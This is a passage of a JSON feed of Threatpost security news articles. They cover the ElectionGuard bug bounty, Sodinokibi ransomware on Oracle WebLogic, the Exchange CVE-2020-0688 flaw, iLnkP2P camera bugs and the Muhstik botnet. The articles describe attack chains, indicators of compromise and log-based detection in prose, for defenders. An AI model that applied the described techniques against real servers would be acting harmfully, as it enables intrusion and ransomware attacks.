register_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-10-18T15:55:37", "type": "threatpost", "title": "Four-Year-Old Critical Linux Wi-Fi Bug Allows System Compromise", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-17666", "CVE-2020-0688"], "modified": "2019-10-18T15:55:37", "id": "THREATPOST:EA093948BFD7033F5C9DB5B3199BEED4", "href": "https://threatpost.com/critical-linux-wi-fi-bug-system-compromise/149325/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:24:12", "description": "As the 2020 presidential election draws closer and primary season looms around the corner, Microsoft has launched a bug-bounty program specifically aimed at its ElectionGuard product, which the software giant has positioned as performing \u201cend-to-end verification of elections.\u201d\n\nElectionGuard is a free open-source software development kit that secures the results of elections and makes those results securely available to approved third-party organizations for validation; it also allows individual voters to confirm that their votes were correctly counted.\n\nThe bounty program invites security researchers (\u201cwhether full-time cybersecurity professionals, part-time hobbyists or students\u201d) to probe ElectionGuard for high-impact vulnerabilities and share them with Microsoft under Coordinated Vulnerability Disclosure (CVD). Eligible submissions with a \u201cclear, concise proof of concept\u201d (PoC) are eligible for awards ranging from $500 to $15,000 depending on the severity of the bug found.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nIn-scope products include the ElectionGuard specification and documentation (such as data-transmission issues like information leakage); the verifier reference implementation (bugs that allow attackers to say elections are valid when they aren\u2019t); and C Cryptography implementations (such as bugs that allow key or vote discovery by observing SDK messages).\n\nThe program is one prong of the company\u2019s wider \u201cDefending Democracy\u201d program, under which Microsoft has pledged to [protect campaigns from hacking](<https://threatpost.com/fbi-dhs-report-links-fancy-bear-to-election-hacks/122802/>); increase political [advertising transparency](<https://threatpost.com/google-fine-privacy-gdpr/141055/>) online; explore ways to [protect electoral processes](<https://threatpost.com/voting-machines-hacked-with-ease-at-def-con/127101/>) with technology; and defend against [disinformation campaigns](<https://threatpost.com/twitter-5000-accounts-disinformation-campaigns/145764/>).\n\nResearchers said that the bug-bounty program is a welcome \u2013 if limited \u2013 addition to the private sector\u2019s response to election meddling. However, they also highlighted the need for a more holistic effort, united across both public and private organizations.\n\n\u201c[Russian interference in the 2016 election](<https://threatpost.com/justice-department-indicts-12-russian-nationals-tied-to-2016-election-hacking/133978/>) gave cybersecurity a quick moment in the political spotlight,\u201d Monique Becenti, product and channel specialist at SiteLock, told Threatpost. \u201cBut when the cost of cybercrime reaches billions of dollars each year, election security needs to be top of mind for our political leaders. Since 2016, election security bills have been slow-moving. Some companies, like Microsoft, are rallying the security industry to address this issue head-on. The ElectionGuard Bounty program is an important step in the right direction, but we need political leaders who will champion this issue and ensure constituents and our elections stay secure.\u201d\n\nNot everyone is excited about the move; Richard Gold, head of security engineering at Digital Shadows, said that the program is limited to Microsoft\u2019s proprietary solution, which makes its real-world impact limited at best.\n\n\u201cIt\u2019s great that companies like Microsoft are launching programs like this, but the question remains: how much is this kind of bug bounty going to be used?\u201d he told Threatpost. \u201cBug-bounty programs need to be applied consistently in order to have real impact. There is a trade off in time and resources that needs to be overcome in order for a program like this to be worthwhile.\u201d\n\n\u201cMicrosoft is committed to strengthening our partnership with the security research community as well as pursuing new areas for security improvement in emerging technology,\u201d said Jarek Stanley, senior program manager at the Microsoft Security Response Center, in [announcing the program](<https://msrc-blog.microsoft.com/2019/10/18/introducing-the-electionguard-bounty-program/>). \u201cWe look forward to sharing more bounty updates and improvements in the coming months.\u201d\n\nMicrosoft paid $4.4 million in bounty rewards between July 1, 2018 and June 30 across 11 bounty programs, with a top award of $200,000.\n\n**_What are the top cybersecurity issues associated with privileged account access and credential governance? Experts from Thycotic on Oct. 23 will discuss during our upcoming free _**[**_Threatpost webinar_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_, \u201cHackers and Security Pros: Where They Agree &amp; Disagree When It Comes to Your Privileged Access Security.\u201d _**[**_Click here to register_**](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-10-18T20:04:29", "type": "threatpost", "title": "Microsoft Tackles Election Security with Bug Bounties", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-1472"], "modified": "2019-10-18T20:04:29", "id": "THREATPOST:891CC19008EEE7B8F1523A2BD4A37993", "href": "https://threatpost.com/microsoft-election-security-bug-bounties/149347/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:51", "description": "A recently-disclosed critical vulnerability in Oracle WebLogic is being actively exploited in a slew of attacks, which are distributing a never-before-seen ransomware variant.\n\nThe recently-patched flaw exists in Oracle\u2019s WebLogic server, used for building and deploying enterprise applications. The deserialization vulnerability ([CVE-2019-2725](<https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html>)\u200b) is being exploited to spread what researchers with Cisco Talos in a [Tuesday analysis](<https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html>) dubbed the \u201cSodinokibi\u201d ransomware.\n\n\u201cThis is the first time we have seen this ransomware being used in the wild,\u201d Jaeson Schultz, technical leader, at Cisco Talos, told Threatpost. \u201cThis new ransomware first emerged on April 26. Part of what makes this ransomware stick out is the fact that attackers were using a 0-day vulnerability to install it. Talos is continuing to analyze the ransomware itself. It\u2019s obfuscated and there are several anti-analysis tricks.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe critical flaw, which has a CVSS score of 9.8, is a remote code execution bug that is remotely exploitable without authentication. Impacted are versions 10.3.6.0.0 and 12.1.3.0.0 of the product. The flaw was patched on April 26 \u2013 but researchers said that attackers have been exploiting the flaw since April 21.\n\n\u201cDue to the severity of this vulnerability, Oracle recommends that this Security Alert be applied as soon as possible,\u201d Eric Maurice, director of security assurance at Oracle, said in a [recent post](<https://blogs.oracle.com/security/security-alert-cve-2019-2725-released>) about the vulnerability.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30140000/oracle-weblogic-flaw.png>)\n\nThe ransomware first came onto researchers\u2019 radar on April 25 (the day before a patch was released), after attackers attempted to make an HTTP connection with a vulnerable Oracle WebLogic server.\n\nWhile Cisco Talos researchers would not disclose further details to Threatpost regarding the victim of this particular ransomware attack \u2013 such as the company size or industry \u2013 they said they do think multiple victims are being targeted.\n\n\u201cAttackers were ultimately successful at encrypting a number of customer systems during this incident,\u201d they said.\n\nWhile typically ransomware variants require some form of user interaction \u2013 such as opening an attachment to an email message or clicking on a malicious link, this incident was abnormal as attackers simply leveraged the Oracle WebLogic vulnerability, researchers said.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30135836/ransomware-note.png>)\n\nRansomware Note\n\nOnce attackers found a vulnerable server, they sent an HTTP POST request to that server. The request contained a PowerShell command, which downloaded a file called \u201cradm.exe.\u201d That then saved the ransomware locally and executed it.\n\nOnce downloaded, the ransomware encrypted the victim\u2019s systems and displayed a ransom note to them, directing victims to a page on the Tor network to a domain (decryptor[.]top) the public web, which was registered on March 31 this year.\n\nAfter victims visited said pages, they were directed to create a Bitcoin wallet and purchase $2500 (USD) worth of Bitcoin. They then were directed to transfer the Bitcoin to an address provided by the attackers. After the transaction is confirmed on the Blockchain, the attackers updates the page with a link to download the decryptor, researchers told Threatpost.\n\nResearchers also noted that, once downloaded, the malicious file executed \u200bvssadmin.exe, a legitimate utility bundled with Windows that enables allows administrators to manage the shadow copies that are on the computer. Shadow copies are a technology that enables systems to take automatic backup copies of computer files.\n\nBecause attackers executed this feature, it allows them to access and delete the automatic backups \u2013 making it harder for victims to recover their data: \u201cThis action\u200b is a common [tactic] of ransomware to prevent users from easily recovering their data,\u201d researchers said. \u201cIt attempts to delete default Windows backup mechanisms, otherwise known as \u2018shadow copies,\u2019 to prevent recovery of the original files from these backups.\u201d\n\nWhile researchers told Threatpost they\u2019re not sure who is behind the attack, they did note that after the ransomware deployment, attackers followed up with an additional exploit attempt (of the CVE-2019-2725 vulnerability) approximately eight hours later.\n\nInterestingly, this attack utilized the infamous [Gandcrab ransomware](<https://threatpost.com/tag/gandcrab-ransomware/>) (v5.2), making researchers believe that the attacker is a Gandcrab ransomware affiliate member, Schultz told Threatpost.\n\n\u201cWe find it strange the attackers would choose to distribute additional, different ransomware on the same target,\u201d researchers said. \u201cSodinokibi being a new flavor of ransomware, perhaps the attackers felt their earlier attempts had been unsuccessful and were still looking to cash in by distributing Gandcrab.\u201d\n\nLooking forward, researchers said that they expect attacks on Oracle\u2019s WebLogic servers to increase, and urge users to update immediately. This flaw was not part of Oracle\u2019s regularly-scheduled quarterly patch earlier in [April](<https://threatpost.com/oracle-squashes-53-critical-bugs-in-april-security-update/143845/>), where it fixed 53 other critical vulnerabilities in Oracle products.\n\n\u201cDue to the ubiquity of Oracle WebLogic servers and the ease of exploitation of this vulnerability, Talos expects widespread attacks involving CVE-2019-2725,\u201d they said.\n", "cvss3": {}, "published": "2019-04-30T19:20:13", "type": "threatpost", "title": "New 'Sodinokibi' Ransomware Exploits Critical Oracle WebLogic Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-2725", "CVE-2020-0688"], "modified": "2019-04-30T19:20:13", "id": "THREATPOST:4DD624E32718A8990263A37199EEBD02", "href": "https://threatpost.com/new-sodinokibi-ransomware-exploits-critical-oracle-weblogic-flaw/144233/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:11:08", "description": "Over half of exposed Exchange servers are still vulnerable to a severe bug that allows authenticated attackers to execute code remotely with system privileges \u2013 even eight months after Microsoft issued a fix.\n\nThe vulnerability in question ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server. The flaw, which stems from the server failing to properly create unique keys at install time, was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates \u2013 and [admins in March were warned](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\nHowever, new telemetry found that out of 433,464 internet-facing Exchange servers observed, at least 61 percent of Exchange 2010, 2013, 2016 and 2019 servers are still vulnerable to the flaw.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThere are two important efforts that Exchange administrators and infosec teams need to undertake: verifying deployment of the update and checking for signs of compromise,\u201d said Tom Sellers with Rapid7 [in a Tuesday analysis](<https://blog.rapid7.com/2020/04/06/phishing-for-system-on-microsoft-exchange-cve-2020-0688/>).\n\n> Speaking of Exchange, we took another look at Exchange CVE-2020-0688 (any user -&gt; SYSTEM on OWA). \n> \n> It's STILL 61% unpatched. \n> \n> This is dangerous as hell and there is a reliable Metasploit module for it.\n> \n> See the UPDATED information on the ORIGINAL blog:<https://t.co/DclWb3T0mZ>\n> \n> \u2014 Tom Sellers (@TomSellers) [September 29, 2020](<https://twitter.com/TomSellers/status/1310991824828407808?ref_src=twsrc%5Etfw>)\n\nResearchers warned [in a March advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) that unpatched servers are being exploited in the wild by unnamed APT actors. Attacks [first started in late February](<https://www.tenable.com/blog/cve-2020-0688-microsoft-exchange-server-static-key-flaw-could-lead-to-remote-code-execution?utm_source=charge&utm_medium=social&utm_campaign=internal-comms>) and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks, post-exploitation.\n\n[Previously, in April](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>), Rapid7 researchers found that more than 80 percent of servers were vulnerable; out of 433,464 internet-facing Exchange servers observed, at least 357,629 were open to the flaw (as of March 24). Researchers used Project Sonar, a scanning tool, to analyze internet-facing Exchange servers and sniff out which were vulnerable to the flaw.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/30094515/cve-2020-0688_vulnerability_status.png>)\n\nExchange build number distribution status for flaw. Credit: Rapid7\n\nSellers urged admins to verify that an update has been deployed. The most reliable method to do so is by checking patch-management software, vulnerability-management tools or the hosts themselves to determine whether the appropriate update has been installed, he said.\n\n\u201cThe update for CVE-2020-0688 needs to be installed on any server with the Exchange Control Panel (ECP) enabled,\u201d he said. \u201cThis will typically be servers with the Client Access Server (CAS) role, which is where your users would access the Outlook Web App (OWA).\u201d\n\nWith the ongoing activity, admins should also determine whether anyone has attempted to exploit the vulnerability in their environment. The exploit code that Sellers tested left log artifacts in the Windows Event Log and the IIS logs (which contain HTTP server API kernel-mode cache hits) on both patched and unpatched servers: \u201cThis log entry will include the compromised user account, as well as a very long error message that includes the text invalid viewstate,\u201d he said.\n\nAdmins can also review their IIS logs for requests to a path under /ecp (usually /ecp/default.aspx), Sellers said, These should contain the string __VIEWSTATE and __VIEWSTATEGENERATOR \u2013 and will have a long string in the middle of the request that is a portion of the exploit payload.\n\n\u201cYou will see the username of the compromised account name at the end of the log entry,\u201d he said. \u201cA quick review of the log entries just prior to the exploit attempt should show successful requests (HTTP code 200) to web pages under /owa and then under /ecp.\u201d\n\n**[On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** Get the latest information on the rising threats to retail e-commerce security and how to stop them. **[Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** for this FREE Threatpost webinar, \u201c**[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this **[LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**webinar.\n", "cvss3": {}, "published": "2020-09-30T14:34:00", "type": "threatpost", "title": "Microsoft Exchange Servers Still Open to Actively Exploited Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-5135"], "modified": "2020-09-30T14:34:00", "id": "THREATPOST:EE9C0062A3E6400BAF159BCA26EABB34", "href": "https://threatpost.com/microsoft-exchange-exploited-flaw/159669/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:23:09", "description": "Multiple threat groups are actively exploiting a vulnerability in Microsoft Exchange servers, researchers warn. If left unpatched, the flaw allows authenticated attackers to execute code remotely with system privileges.\n\nThe vulnerability in question (CVE-2020-0688) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server, and was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates. However, researchers [in a Friday advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) said that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\n\u201cWhat we have seen thus far are multiple Chinese APT group exploiting or attempting to exploit this flaw,\u201d Steven Adair, founder and president of Volexity, told Threatpost. \u201cHowever, I think it is safe to say that this exploit is now in the hands of operators around the world and unfortunately some companies that have not patched yet or did not patch quickly enough are likely to pay the price.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAttacks first started late February and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\n## The Flaw\n\nAfter Microsoft patched the flaw in February researchers with the Zero Day Initiative (ZDI), which first reported the vulnerability, [published further details](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) of the flaw and how it could be exploited. And, on March 4, Rapid7 published a module that incorporated the exploit into the Metasploit penetration testing framework.\n\nThe vulnerability exists in the Exchange Control Panel (ECP), a web-based management interface for administrators, introduced in Exchange Server 2010. Specifically, instead of having cryptographic keys that are randomly generated on a per-installation basis, all installations in the configuration of ECP have the same cryptographic key values. These cryptographic keys are used to provide security for ViewState (a server-side data that ASP.NET web applications store in serialized format on the client).\n\nAccording to ZDI, an attacker could exploit a vulnerable Exchange server if it was unpatched (before Feb. 11, 2020), if the ECP interface was accessible to the attacker, and if the attacker has a working credential allowing them to access the ECP. After accessing the ECP using compromised credentials, attackers can take advantage of the fixed cryptographic keys by tricking the server into deserializing maliciously crafted ViewState data, then allowing them to take over Exchange server.\n\n\u201cWe realized the severity of this bug when we purchased it,\u201d Brian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program told Threatpost via email. \u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog. We felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\n## Brute Force\n\nResearchers said, while an attacker would need a credential to leverage the exploit, the credential does not need to be highly privileged or even have ECP access.\n\nAfter technical details of the flaw were disclosed, researchers said they observed multiple APT groups attempting to brute force credentials by leveraging Exchange Web Services (EWS), which they said was likely an effort to exploit this vulnerability.\n\n\u201cWhile brute-forcing credentials is a common occurrence, the frequency and intensity of attacks at certain organizations has increased dramatically following the vulnerability disclosure,\u201d researchers said.\n\nResearchers said they believe these efforts to be sourced from \u201cknown APT groups\u201d due to the overlap of their IP addresses from other, previous attacks. Also, in some cases, the credentials used were tied to previous breaches by the APT groups.\n\n## Going Forward\n\nIn the coming months, Adair told Threatpost he suspects there could easily be hundreds of organizations being hit with this exploit.\n\n\u201cFrom our perspective the successful attacks we have seen are just a handful of different servers and organizations,\u201d Adair said. \u201cHowever, I would expect that attackers have been access compromised credentials all around the world and are not able to make better use of them.\u201d** **\n\nResearchers encourage organizations to ensure that they\u2019re up to date on security updates from Microsoft, as well as place access control list (ACL) restrictions on the ECP virtual directory or via any web application firewall capability. Firms should also continue to expire passwords and require users to update passwords periodically, researchers said.\n\n\u201cThis vulnerability underscores such a case where an organization can be locked down, have properly deployed 2FA, and still have an incident due to outdated or weak password,\u201d said researchers.\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n", "cvss3": {}, "published": "2020-03-09T18:01:41", "type": "threatpost", "title": "Microsoft Exchange Server Flaw Exploited in APT Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-03-09T18:01:41", "id": "THREATPOST:F54F8338674294DE3D323ED03140CB71", "href": "https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:06", "description": "Over 2 million IP security cameras, baby monitors and smart doorbells have serious vulnerabilities that could enable an attacker to hijack the devices and spy on their owners \u2014 and there\u2019s currently no known patch for the shared flaws.\n\nThe attack stems from peer-to-peer (P2P) communication technology in all of these Internet of Things (IoT) devices, which allows them to be accessed without any manual configuration. The particular P2P solution that they use, iLnkP2P, is developed by Shenzhen Yunni Technology and contains two vulnerabilities that could allow remote hackers to find and take over vulnerable cameras used in the devices.\n\n\u201cOver 2 million vulnerable devices have been identified on the internet, including those distributed by HiChip, TENVIS, SV3C, VStarcam, Wanscam, NEO Coolcam, Sricam, Eye Sight and HVCAM,\u201d said Paul Marrapese, a security engineer who discovered the flaws, in a [post last week](<https://hacked.camera/>). \u201cAffected devices use a component called iLnkP2P. Unfortunately, iLnkP2P is used by hundreds of other brands as well, making identification of vulnerable devices difficult.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe first iLnkP2P bug is an enumeration vulnerability ([CVE-2019-11219](<https://nvd.nist.gov/vuln/detail/CVE-2019-11219>)), which enables attackers to discover exploitable devices that are online. The second is an authentication vulnerability ([CVE-2019-11220](<https://nvd.nist.gov/vuln/detail/CVE-2019-11220>)) that allows remote attackers to intercept user-to-device traffic in cleartext, including video streams and device credentials.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/29091449/security-camera-hack.png>)\n\nThe UID prefixes on devices known to be vulnerable.\n\nIoT device users can discover if they are impacted by looking at their device\u2019s UID, which is its unique identifier. The first prefix part of a UID indicates exploitability: For instance, devices with the FFFF prefix are among those that are vulnerable. A list of all the prefixes that are known to be vulnerable is available in the image to the left.\n\nMarrapese said that he sent an initial advisory to device vendors regarding the security issues Jan. 15; and an advisory to the developers of iLnkP2P on Feb. 4, once he was able to identify them. He said that he has not received any responses despite multiple attempts at contact. The vulnerabilities were publicly disclosed April 24.\n\nIf consumers are impacted, they should block outbound traffic to UDP port 32100, which prevents devices from being accessed from external networks through P2P. However, Marrapese said the main step users could take is to buy a new device.\n\n\u201cIdeally, buy a new device from a reputable vendor,\u201d he said. \u201cResearch suggests that a fix from vendors is unlikely, and these devices are often riddled with other security problems that put their owners at risk.\u201d\n\nIt\u2019s hardly the first security issue in security and surveillance cameras, which hold sensitive data and video footage ripe for the taking for hackers.\n\n[In July](<https://threatpost.com/security-glitch-in-iot-camera-enabled-remote-monitoring/134504/>), IoT camera maker Swann patched a flaw in its connected cameras that would allow a remote attacker to access their video feeds. And in September up to 800,000 IP-based closed-circuit television cameras [were vulnerable](<https://threatpost.com/zero-day-bug-allows-hackers-to-access-cctv-surveillance-cameras/137499/>) to a zero-day vulnerability that could have allowed hackers to access surveillance cameras, spy on and manipulate video feeds, or plant malware.\n\n\u201cSecurity cameras continue to be the oxymoron of the 21st century,\u201d Joe Lea, vice president of product at Armis, in an email. \u201cThis is a perfect storm of a security exposure for an IoT device \u2013 no authentication, no encryption, near impossible upgrade path. We have to stop enabling connectivity over security \u2013 this is a defining moment in how we see lack of security for devices and lack of response.\u201d\n\nIn a comment to Threatpost, Marrapese said that vendors have a big part to play when it comes to doing more to secure their connected devices.\n\n\u201cVendors need to stop relying on \u2018security through obscurity,'\u201d he said. \u201cThe use of deterrents is not sufficient; vendors need to develop serious application security practices.\u201d\n", "cvss3": {}, "published": "2019-04-29T13:37:40", "type": "threatpost", "title": "2 Million IoT Devices Vulnerable to Complete Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11219", "CVE-2019-11220", "CVE-2020-0688"], "modified": "2019-04-29T13:37:40", "id": "THREATPOST:985BD7D2744A9AA9EC43C5DDCD561812", "href": "https://threatpost.com/iot-devices-vulnerable-takeover/144167/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:46", "description": "UPDATE\n\nA variant of the Muhstik botnet has been uncovered in the wild, exploiting a recently-disclosed, dangerous vulnerability in Oracle WebLogic servers.\n\nThe newfound samples of Muhstik are targeting the [recently-patched CVE-2019-2725](<https://threatpost.com/new-sodinokibi-ransomware-exploits-critical-oracle-weblogic-flaw/144233/>) in WebLogic servers, and then launching distributed-denial-of-service (DDoS) and cryptojacking attacks with the aim of making money for the attacker behind the botnet, researchers said.\n\n\u201cFrom the timeline, we can see that the developer of Muhstik watches aggressively for new Linux service vulnerability exploits and takes immediate action to [incorporate] exploits against them into the botnet,\u201d Cong Zheng and Yanhui Jia, researchers with Palo Alto Network\u2019s Unit 42 team, said in a [Tuesday analysis](<https://unit42.paloaltonetworks.com/muhstik-botnet-exploits-the-latest-weblogic-vulnerability-for-cryptomining-and-ddos-attacks/>). \u201cThis makes sense, because the faster the botnet includes the new exploits, the greater chance of successfully using the vulnerability to harvest more bots before systems are patched.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nOracle WebLogic is a popular server used for building and deploying enterprise applications. The server\u2019s flaw ([CVE-2019-2725](<https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html>)), meanwhile, has a CVSS score of 9.8 and is a remote code-execution (RCE) bug that is exploitable without authentication. Oracle patched the flaw on April 26.\n\nHowever, researchers first observed exploit traffic for the WebLogic vulnerability coming from three new Muhstik samples on April 28. Muhstik, which has been around since March 2018 and has wormlike self-propagating capabilities, is known to compromise Linux servers and IoT devices, and then launch cryptocurrency mining software and DDoS attacks.\n\nThey saw the exploit traffic being sent from the IP address 165.227.78[.]159, which was transmitting one shell command, to download a PHP webshell.\n\nInterestingly, that IP address (165.227.78[.]159) has previously been used by the Muhstik botnet as a mere reporting server to collect information on bots \u2013 but now, the IP address appears to also be used as a payload host server.\n\nThe discovery shows that new samples of the Muhstik botnet continue to sniff out ripe exploits. The botnet had previously targeted an earlier WebLogic vulnerability ([CVE-2017-10271](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271>)), as well as WordPress and [Drupal vulnerabilities.](<https://threatpost.com/muhstik-botnet-exploits-highly-critical-drupal-bug/131360/>)\n\nUnit 42 researchers told Threatpost that they didn\u2019t have further information on the number of servers impacted.\n\n## Oracle WebLogic\n\nThe latest Oracle WebLogic flaw, which impacts versions 10.3.6 an